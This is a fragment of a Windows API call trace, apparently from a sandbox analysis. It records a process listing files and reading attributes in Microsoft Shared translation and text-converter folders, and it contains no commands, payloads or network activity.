	[0050.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), fInfoLevelId=0x0, lpFileInformation=0x124de2d8 | out: lpFileInformation=0x124de2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00)) returned 1
	[0050.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x124de328 | out: lpFileInformation=0x124de328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1
	[0050.761] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.761] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), fInfoLevelId=0x0, lpFileInformation=0x124de3c8 | out: lpFileInformation=0x124de3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae)) returned 1
	[0050.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x124de418 | out: lpFileInformation=0x124de418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1
	[0050.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1
	[0050.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1
	[0050.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.762] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.762] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de558 | out: lpFileInformation=0x124de558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200)) returned 1
	[0050.762] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), fInfoLevelId=0x0, lpFileInformation=0x124de5a8 | out: lpFileInformation=0x124de5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac)) returned 1
	[0050.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), fInfoLevelId=0x0, lpFileInformation=0x124de5f8 | out: lpFileInformation=0x124de5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00)) returned 1
	[0050.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), fInfoLevelId=0x0, lpFileInformation=0x124de648 | out: lpFileInformation=0x124de648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b)) returned 1
	[0050.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), fInfoLevelId=0x0, lpFileInformation=0x124de698 | out: lpFileInformation=0x124de698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600)) returned 1
	[0050.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de6e8 | out: lpFileInformation=0x124de6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990)) returned 1
	[0050.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de738 | out: lpFileInformation=0x124de738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70)) returned 1
	[0050.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de788 | out: lpFileInformation=0x124de788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390)) returned 1
	[0050.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), fInfoLevelId=0x0, lpFileInformation=0x124de7d8 | out: lpFileInformation=0x124de7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000)) returned 1
	[0050.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x124de828 | out: lpFileInformation=0x124de828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1
	[0050.766] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.766] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), fInfoLevelId=0x0, lpFileInformation=0x124dea58 | out: lpFileInformation=0x124dea58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78)) returned 1
	[0050.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), fInfoLevelId=0x0, lpFileInformation=0x124deaa8 | out: lpFileInformation=0x124deaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68)) returned 1
	[0050.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), fInfoLevelId=0x0, lpFileInformation=0x124deaf8 | out: lpFileInformation=0x124deaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170)) returned 1
	[0050.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), fInfoLevelId=0x0, lpFileInformation=0x124deb48 | out: lpFileInformation=0x124deb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70)) returned 1
	[0050.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), fInfoLevelId=0x0, lpFileInformation=0x124deb98 | out: lpFileInformation=0x124deb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0)) returned 1
	[0050.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124debe8 | out: lpFileInformation=0x124debe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.768] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
